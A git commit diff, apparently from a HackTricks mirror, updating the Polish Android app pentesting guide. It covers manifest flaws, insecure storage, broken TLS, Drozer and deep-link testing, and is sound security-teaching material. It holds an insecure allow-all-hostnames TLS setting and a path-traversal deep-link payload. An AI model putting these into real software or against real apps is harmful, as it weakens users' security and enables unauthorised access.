mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's
This commit is contained in:
parent
743eee21d7
commit
8c13b96b41
@ -348,6 +348,7 @@
|
||||
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
|
||||
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
|
||||
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
|
||||
- [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
|
||||
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
|
||||
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
|
||||
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)
|
||||
|
@ -20,11 +20,11 @@ Zobacz poniższą listę [**komend ADB**](adb-commands.md), aby dowiedzieć się
|
||||
## Smali
|
||||
|
||||
Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (może dobrze obfuskowanych haseł lub flag). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.\
|
||||
[**W tym samouczku** możesz **nauczyć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Następnie **zawsze miej na uwadze tę możliwość**.
|
||||
[**W tym samouczku** możesz **dowiedzieć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Pamiętaj, **aby zawsze mieć na uwadze tę możliwość**.
|
||||
|
||||
## Inne interesujące triki
|
||||
|
||||
- [Podrabianie swojej lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md)
|
||||
- [Podrabianie lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (dostęp z uprawnieniami bez roota oparty na ADB)](shizuku-privileged-api.md)
|
||||
- [Wykorzystywanie niebezpiecznych mechanizmów aktualizacji w aplikacji](insecure-in-app-update-rce.md)
|
||||
- **Pobieranie APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
@ -47,31 +47,37 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
|
||||
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
|
||||
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
```
|
||||
## Analiza statyczna
|
||||
## Case Studies & Vulnerabilities
|
||||
|
||||
{{#ref}}
|
||||
../ios-pentesting/air-keyboard-remote-input-injection.md
|
||||
{{#endref}}
|
||||
|
||||
## Static Analysis
|
||||
|
||||
Przede wszystkim, aby przeanalizować APK, powinieneś **rzucić okiem na kod Java** za pomocą dekompilatora.\
|
||||
Proszę, [**przeczytaj tutaj, aby znaleźć informacje o różnych dostępnych dekompilatorach**](apk-decompilers.md).
|
||||
|
||||
### Szukanie interesujących informacji
|
||||
### Looking for interesting Info
|
||||
|
||||
Samo spojrzenie na **ciągi** w APK pozwala na wyszukiwanie **haseł**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **kluczy** **api**, **szyfrowania**, **uuid bluetooth**, **tokenów** i wszystkiego, co może być interesujące... szukaj nawet **tylnych drzwi** do wykonania kodu lub tylnych drzwi autoryzacyjnych (hardcodowane dane administratora w aplikacji).
|
||||
Rzucając okiem na **ciągi** APK, możesz szukać **haseł**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **kluczy** **api**, **szyfrowania**, **uuid bluetooth**, **tokenów** i wszystkiego, co interesujące... szukaj nawet **tylnych drzwi** do wykonania kodu lub tylnych drzwi uwierzytelniających (twardo zakodowane dane logowania administratora do aplikacji).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle skonfigurowane. [Więcej informacji na temat tego, czym jest Firebase i jak go wykorzystać, znajdziesz tutaj.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Podstawowe zrozumienie aplikacji - Manifest.xml, strings.xml
|
||||
### Basic understanding of the application - Manifest.xml, strings.xml
|
||||
|
||||
**Badanie plików _Manifest.xml_ i _strings.xml_ aplikacji może ujawnić potencjalne luki w zabezpieczeniach**. Pliki te można uzyskać za pomocą dekompilatorów lub przez zmianę rozszerzenia pliku APK na .zip, a następnie jego rozpakowanie.
|
||||
**Badanie plików _Manifest.xml_ i _strings.xml_ aplikacji może ujawnić potencjalne luki w zabezpieczeniach**. Pliki te można uzyskać za pomocą dekompilatorów lub przez zmianę rozszerzenia pliku APK na .zip, a następnie rozpakowanie go.
|
||||
|
||||
**Luki** zidentyfikowane w **Manifest.xml** obejmują:
|
||||
|
||||
- **Aplikacje debugowalne**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do wykorzystania. Aby uzyskać dalsze zrozumienie, jak wykorzystać aplikacje debugowalne, zapoznaj się z samouczkiem na temat znajdowania i wykorzystywania aplikacji debugowalnych na urządzeniu.
|
||||
- **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być wyraźnie ustawiony dla aplikacji zajmujących się wrażliwymi informacjami, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, szczególnie gdy debugowanie USB jest włączone.
|
||||
- **Debugowalne aplikacje**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do wykorzystania. Aby uzyskać dalsze informacje na temat tego, jak wykorzystać debugowalne aplikacje, zapoznaj się z samouczkiem na temat znajdowania i wykorzystywania debugowalnych aplikacji na urządzeniu.
|
||||
- **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być wyraźnie ustawiony dla aplikacji zajmujących się wrażliwymi informacjami, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, szczególnie gdy włączone jest debugowanie USB.
|
||||
- **Bezpieczeństwo sieci**: Niestandardowe konfiguracje bezpieczeństwa sieci (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły bezpieczeństwa, takie jak przypinanie certyfikatów i ustawienia ruchu HTTP. Przykładem jest zezwolenie na ruch HTTP dla określonych domen.
|
||||
- **Eksportowane aktywności i usługi**: Identyfikacja eksportowanych aktywności i usług w manifeście może uwydatnić komponenty, które mogą być nadużywane. Dalsza analiza podczas testów dynamicznych może ujawnić, jak wykorzystać te komponenty.
|
||||
- **Dostawcy treści i FileProviders**: Ujawnione dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona.
|
||||
- **Odbiorniki rozgłoszeniowe i schematy URL**: Te komponenty mogą być wykorzystywane do eksploatacji, z szczególną uwagą na to, jak zarządzane są schematy URL w kontekście luk wejściowych.
|
||||
- **Odbiorniki rozgłoszeniowe i schematy URL**: Te komponenty mogą być wykorzystywane do eksploatacji, z szczególną uwagą na to, jak zarządzane są schematy URL w kontekście luk w wejściu.
|
||||
- **Wersje SDK**: Atrybuty `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` wskazują obsługiwane wersje Androida, podkreślając znaczenie nieobsługiwania przestarzałych, podatnych wersji Androida z powodów bezpieczeństwa.
|
||||
|
||||
Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak klucze API, niestandardowe schematy i inne notatki dewelopera, co podkreśla potrzebę starannego przeglądu tych zasobów.
|
||||
@ -79,7 +85,7 @@ Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak klucze AP
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika do interakcji z nią, podczas gdy przekazuje interakcję do aplikacji ofiary.\
|
||||
W efekcie, **oślepia użytkownika, nie pozwalając mu wiedzieć, że faktycznie wykonuje akcje w aplikacji ofiary**.
|
||||
W efekcie **oślepia użytkownika, nie pozwalając mu wiedzieć, że faktycznie wykonuje akcje w aplikacji ofiary**.
|
||||
|
||||
Więcej informacji znajdziesz w:
|
||||
|
||||
@ -87,9 +93,9 @@ Więcej informacji znajdziesz w:
|
||||
tapjacking.md
|
||||
{{#endref}}
|
||||
|
||||
### Przechwytywanie zadań
|
||||
### Task Hijacking
|
||||
|
||||
**Aktywność** z ustawionym **`launchMode`** na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (więc użytkownik będzie interagował z **złośliwą aplikacją, myśląc, że używa prawdziwej**).
|
||||
**Aktywność** z ustawionym **`launchMode`** na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na przejęcie zadania. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przejąć zadanie prawdziwej aplikacji** (więc użytkownik będzie interagował z **złośliwą aplikacją, myśląc, że używa prawdziwej**).
|
||||
|
||||
Więcej informacji w:
|
||||
|
||||
@ -97,42 +103,42 @@ Więcej informacji w:
|
||||
android-task-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
### Niezabezpieczone przechowywanie danych
|
||||
### Insecure data storage
|
||||
|
||||
**Przechowywanie wewnętrzne**
|
||||
**Internal Storage**
|
||||
|
||||
W Androidzie pliki **przechowywane** w **przechowywaniu wewnętrznym** są **zaplanowane** do bycia **dostępnymi** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **zezwolić** na **dzielenie** plików między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
|
||||
W Androidzie pliki **przechowywane** w **wewnętrznej** pamięci są **zaplanowane** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **zezwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
|
||||
|
||||
1. **Analiza statyczna:**
|
||||
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **starannie analizowane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**.
|
||||
2. **Analiza dynamiczna:**
|
||||
- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. Szczególnie **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia czy zamiaru, na **odczyt lub modyfikację** tych plików.
|
||||
- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. W szczególności **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików.
|
||||
|
||||
**Przechowywanie zewnętrzne**
|
||||
**External Storage**
|
||||
|
||||
Podczas pracy z plikami na **przechowywaniu zewnętrznym**, takim jak karty SD, należy podjąć pewne środki ostrożności:
|
||||
Podczas pracy z plikami na **zewnętrznej pamięci**, takiej jak karty SD, należy podjąć pewne środki ostrożności:
|
||||
|
||||
1. **Dostępność**:
|
||||
- Pliki na zewnętrznym przechowywaniu są **globalnie czytelne i zapisywalne**. Oznacza to, że każda aplikacja lub użytkownik może uzyskać dostęp do tych plików.
|
||||
- Pliki na zewnętrznej pamięci są **globalnie czytelne i zapisywalne**. Oznacza to, że każda aplikacja lub użytkownik może uzyskać dostęp do tych plików.
|
||||
2. **Problemy z bezpieczeństwem**:
|
||||
- Biorąc pod uwagę łatwość dostępu, zaleca się **nieprzechowywanie wrażliwych informacji** na zewnętrznym przechowywaniu.
|
||||
- Zewnętrzne przechowywanie może być usunięte lub dostępne przez każdą aplikację, co czyni je mniej bezpiecznym.
|
||||
3. **Obsługa danych z zewnętrznego przechowywania**:
|
||||
- Zawsze **przeprowadzaj walidację wejścia** na danych pobranych z zewnętrznego przechowywania. Jest to kluczowe, ponieważ dane pochodzą z nieznanego źródła.
|
||||
- Przechowywanie plików wykonywalnych lub klas na zewnętrznym przechowywaniu do dynamicznego ładowania jest zdecydowanie odradzane.
|
||||
- Jeśli Twoja aplikacja musi pobrać pliki wykonywalne z zewnętrznego przechowywania, upewnij się, że te pliki są **podpisane i weryfikowane kryptograficznie** przed ich dynamicznym załadowaniem. Ten krok jest kluczowy dla utrzymania integralności bezpieczeństwa Twojej aplikacji.
|
||||
- Biorąc pod uwagę łatwość dostępu, zaleca się **nieprzechowywanie wrażliwych informacji** na zewnętrznej pamięci.
|
||||
- Zewnętrzna pamięć może być usunięta lub dostępna przez każdą aplikację, co czyni ją mniej bezpieczną.
|
||||
3. **Obsługa danych z zewnętrznej pamięci**:
|
||||
- Zawsze **przeprowadzaj walidację wejścia** na danych pobranych z zewnętrznej pamięci. Jest to kluczowe, ponieważ dane pochodzą z nieznanego źródła.
|
||||
- Przechowywanie plików wykonywalnych lub klas na zewnętrznej pamięci do dynamicznego ładowania jest zdecydowanie odradzane.
|
||||
- Jeśli Twoja aplikacja musi pobrać pliki wykonywalne z zewnętrznej pamięci, upewnij się, że te pliki są **podpisane i weryfikowane kryptograficznie** przed ich dynamicznym załadowaniem. Ten krok jest kluczowy dla utrzymania integralności bezpieczeństwa Twojej aplikacji.
|
||||
|
||||
Zewnętrzne przechowywanie można **uzyskać** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
Zewnętrzna pamięć może być **dostępna** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> Zaczynając od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji uzyskiwaniu dostępu do plików innej aplikacji.
|
||||
> Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji uzyskiwaniu dostępu do plików innej aplikacji w trybie odczytu lub zapisu.
|
||||
|
||||
**Wrażliwe dane przechowywane w postaci niezaszyfrowanej**
|
||||
|
||||
- **Preferencje współdzielone**: Android pozwala każdej aplikacji na łatwe zapisywanie plików xml w ścieżce `/data/data/<packagename>/shared_prefs/` i czasami możliwe jest znalezienie wrażliwych informacji w postaci niezaszyfrowanej w tym folderze.
|
||||
- **Bazy danych**: Android pozwala każdej aplikacji na łatwe zapisywanie baz danych sqlite w ścieżce `/data/data/<packagename>/databases/` i czasami możliwe jest znalezienie wrażliwych informacji w postaci niezaszyfrowanej w tym folderze.
|
||||
- **Preferencje współdzielone**: Android pozwala każdej aplikacji łatwo zapisywać pliki xml w ścieżce `/data/data/<packagename>/shared_prefs/` i czasami można znaleźć wrażliwe informacje w postaci niezaszyfrowanej w tym folderze.
|
||||
- **Bazy danych**: Android pozwala każdej aplikacji łatwo zapisywać bazy danych sqlite w ścieżce `/data/data/<packagename>/databases/` i czasami można znaleźć wrażliwe informacje w postaci niezaszyfrowanej w tym folderze.
|
||||
|
||||
### Uszkodzony TLS
|
||||
### Broken TLS
|
||||
|
||||
**Akceptuj wszystkie certyfikaty**
|
||||
|
||||
@ -143,11 +149,11 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Dobrą metodą na przetestowanie tego jest próba przechwycenia ruchu za pomocą jakiegoś proxy, takiego jak Burp, bez autoryzowania Burp CA na urządzeniu. Możesz również wygenerować za pomocą Burp certyfikat dla innej nazwy hosta i go użyć.
|
||||
|
||||
### Uszkodzona kryptografia
|
||||
### Broken Cryptography
|
||||
|
||||
**Słabe procesy zarządzania kluczami**
|
||||
|
||||
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/łatwym do przewidzenia w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie może pozwolić atakującym na wydobycie poufnych informacji.
|
||||
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/łatwym do przewidzenia w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie kodu może pozwolić atakującym na wydobycie poufnych informacji.
|
||||
|
||||
**Użycie niebezpiecznych i/lub przestarzałych algorytmów**
|
||||
|
||||
@ -155,7 +161,7 @@ Deweloperzy nie powinni używać **przestarzałych algorytmów** do przeprowadza
|
||||
|
||||
### Inne kontrole
|
||||
|
||||
- Zaleca się **obfuskację APK**, aby utrudnić atakującym pracę inżynierii odwrotnej.
|
||||
- Zaleca się **obfuskację APK**, aby utrudnić pracę inżynierom odwrotnym.
|
||||
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna przeprowadzać **własne kontrole, aby sprawdzić, czy urządzenie jest zrootowane** i działać w konsekwencji.
|
||||
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna sprawdzić, czy używany jest **emulator**.
|
||||
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna **sprawdzić swoją integralność przed wykonaniem**, aby sprawdzić, czy została zmodyfikowana.
|
||||
@ -183,7 +189,7 @@ Zgodnie z tym [**postem na blogu**](https://clearbluejar.github.io/posts/desuper
|
||||
|
||||
### Zautomatyzowana analiza statyczna kodu
|
||||
|
||||
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinki** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą spowodować szkody) oraz **reguły**. Te reguły wskazują na **kombinację** **źródeł-sinków**, które wskazują na lukę.
|
||||
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinki** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe użytkownika mogą spowodować szkody) i **zasady**. Te zasady wskazują na **kombinację** **źródeł-sinków**, które wskazują na lukę.
|
||||
|
||||
Dzięki tej wiedzy, **mariana-trench przejrzy kod i znajdzie możliwe luki w nim**.
|
||||
|
||||
@ -202,7 +208,7 @@ bypass-biometric-authentication-android.md
|
||||
- **Wykonanie kodu**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **Wysyłanie SMS-ów**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Funkcje natywne** zadeklarowane jako `native`: `public native, System.loadLibrary, System.load`
|
||||
- [Przeczytaj to, aby dowiedzieć się, **jak odwrócić funkcje natywne**](reversing-native-libraries.md)
|
||||
- [Przeczytaj to, aby dowiedzieć się **jak odwrócić funkcje natywne**](reversing-native-libraries.md)
|
||||
|
||||
### **Inne sztuczki**
|
||||
|
||||
@ -232,7 +238,7 @@ Dzięki połączeniu ADB możesz używać **Drozer** i **Frida** wewnątrz emula
|
||||
|
||||
#### Używając emulatora
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a według [**tego**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** obsługują biblioteki ARM bez potrzeby używania wolnego emulatora arm).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a według [**tego**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** **obsługują biblioteki ARM** bez potrzeby używania wolnego emulatora arm).
|
||||
- Dowiedz się, jak to skonfigurować na tej stronie:
|
||||
|
||||
{{#ref}}
|
||||
@ -253,7 +259,7 @@ Zauważ również, że w **konfiguracji Android VM w Genymotion** możesz wybra
|
||||
|
||||
#### Użyj fizycznego urządzenia
|
||||
|
||||
Musisz włączyć opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **zrootować**:
|
||||
Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **zrootować**:
|
||||
|
||||
1. **Ustawienia**.
|
||||
2. (Od Androida 8.0) Wybierz **System**.
|
||||
@ -261,17 +267,17 @@ Musisz włączyć opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **z
|
||||
4. Naciśnij **Numer kompilacji** 7 razy.
|
||||
5. Wróć i znajdziesz **Opcje dewelopera**.
|
||||
|
||||
> Po zainstalowaniu aplikacji, pierwszą rzeczą, którą powinieneś zrobić, jest jej przetestowanie i zbadanie, co robi, jak działa i zapoznanie się z nią.\
|
||||
> Sugeruję **przeprowadzenie tej początkowej analizy dynamicznej za pomocą analizy dynamicznej MobSF + pidcat**, abyśmy mogli **nauczyć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przeglądać.
|
||||
> Po zainstalowaniu aplikacji pierwszą rzeczą, którą powinieneś zrobić, jest jej przetestowanie i zbadanie, co robi, jak działa i zapoznanie się z nią.\
|
||||
> Sugeruję **przeprowadzenie tej początkowej analizy dynamicznej za pomocą analizy dynamicznej MobSF + pidcat**, abyśmy mogli **dowiedzieć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przejrzeć.
|
||||
|
||||
### Niezamierzony wyciek danych
|
||||
|
||||
**Logowanie**
|
||||
|
||||
Deweloperzy powinni być ostrożni, aby nie ujawniać **informacji debugowania** publicznie, ponieważ może to prowadzić do wycieków wrażliwych danych. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` są zalecane do monitorowania logów aplikacji w celu identyfikacji i ochrony wrażliwych informacji. **Pidcat** jest preferowane ze względu na łatwość użycia i czytelność.
|
||||
Deweloperzy powinni być ostrożni w ujawnianiu **informacji debugowania** publicznie, ponieważ może to prowadzić do wycieków wrażliwych danych. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` są zalecane do monitorowania logów aplikacji w celu identyfikacji i ochrony wrażliwych informacji. **Pidcat** jest preferowane ze względu na łatwość użycia i czytelność.
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że od **nowszych wersji niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Tak więc aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\
|
||||
> Zauważ, że od **nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\
|
||||
> Tak czy inaczej, nadal zaleca się **nie logować wrażliwych informacji**.
|
||||
|
||||
**Bufor kopiowania/wklejania**
|
||||
@ -291,7 +297,7 @@ Aplikacje często integrują usługi takie jak Google Adsense, co może nieumyś
|
||||
### Bazy danych SQLite
|
||||
|
||||
Większość aplikacji będzie używać **wewnętrznych baz danych SQLite** do zapisywania informacji. Podczas testów penetracyjnych zwróć uwagę na **bazy danych** utworzone, nazwy **tabel** i **kolumn** oraz wszystkie **dane** zapisane, ponieważ możesz znaleźć **wrażliwe informacje** (co byłoby luką).\
|
||||
Bazy danych powinny znajdować się w `/data/data/the.package.name/databases` jak `/data/data/com.mwr.example.sieve/databases`.
|
||||
Bazy danych powinny znajdować się w `/data/data/the.package.name/databases`, jak `/data/data/com.mwr.example.sieve/databases`.
|
||||
|
||||
Jeśli baza danych zapisuje poufne informacje i jest **szyfrowana**, ale możesz **znaleźć** **hasło** wewnątrz aplikacji, to nadal jest to **luka**.
|
||||
|
||||
@ -299,8 +305,8 @@ Wylicz tabele używając `.tables` i wylicz kolumny tabel używając `.schema <t
|
||||
|
||||
### Drozer (Eksploatacja aktywności, dostawców treści i usług)
|
||||
|
||||
Z [Dokumentacji Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** pozwala na **przyjęcie roli aplikacji Android** i interakcję z innymi aplikacjami. Może robić **wszystko, co może zrobić zainstalowana aplikacja**, takie jak korzystanie z mechanizmu komunikacji międzyprocesowej Androida (IPC) i interakcja z systemem operacyjnym.\
|
||||
Drozer jest przydatnym narzędziem do **eksploatacji eksportowanych aktywności, eksportowanych usług i dostawców treści**, jak dowiesz się w następnych sekcjach.
|
||||
Z [Dokumentacji Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** pozwala na **przyjęcie roli aplikacji Android** i interakcję z innymi aplikacjami. Może robić **wszystko, co może zrobić zainstalowana aplikacja**, takie jak korzystanie z mechanizmu komunikacji międzyprocesowej Androida (IPC) i interakcję z systemem operacyjnym.\
|
||||
Drozer jest przydatnym narzędziem do **eksploatacji eksportowanych aktywności, eksportowanych usług i dostawców treści**, jak dowiesz się w kolejnych sekcjach.
|
||||
|
||||
### Eksploatacja eksportowanych aktywności
|
||||
|
||||
@ -383,7 +389,7 @@ Za każdym razem, gdy znajdziesz deep link, sprawdź, czy **nie odbiera wrażliw
|
||||
**Parametry w ścieżce**
|
||||
|
||||
Musisz również sprawdzić, czy jakikolwiek deep link używa parametru wewnątrz ścieżki URL, takiego jak: `https://api.example.com/v1/users/{username}`, w takim przypadku możesz wymusić przejście przez ścieżkę, uzyskując dostęp do czegoś takiego jak: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz być w stanie spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **przejęcie konta** (jeśli możesz zmodyfikować dane użytkowników bez tokena CSRF, a podatny punkt końcowy używał poprawnej metody) i inne podatności. Więcej [informacji na ten temat tutaj](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz być w stanie spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **przejęcie konta** (jeśli możesz modyfikować dane użytkowników bez tokena CSRF, a podatny punkt końcowy używał poprawnej metody) i inne podatności. Więcej [informacji na ten temat tutaj](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Więcej przykładów**
|
||||
|
||||
@ -391,7 +397,7 @@ Ciekawy raport o bug bounty [tutaj](https://hackerone.com/reports/855618) dotycz
|
||||
|
||||
### Inspekcja i weryfikacja warstwy transportowej
|
||||
|
||||
- **Certyfikaty nie zawsze są poprawnie sprawdzane** przez aplikacje Android. Często te aplikacje ignorują ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do używania połączeń HTTP.
|
||||
- **Certyfikaty nie zawsze są odpowiednio sprawdzane** przez aplikacje Android. Często te aplikacje ignorują ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do używania połączeń HTTP.
|
||||
- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, wykorzystując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), co pozwala atakującym na odszyfrowanie danych.
|
||||
- **Wycieki prywatnych informacji** są ryzykiem, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, ale następnie komunikują się przez niebezpieczne kanały w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne czy dane użytkowników, przed przechwyceniem przez złośliwe podmioty.
|
||||
|
||||
@ -401,7 +407,7 @@ Skupimy się na **weryfikacji certyfikatu**. Integralność certyfikatu serwera
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
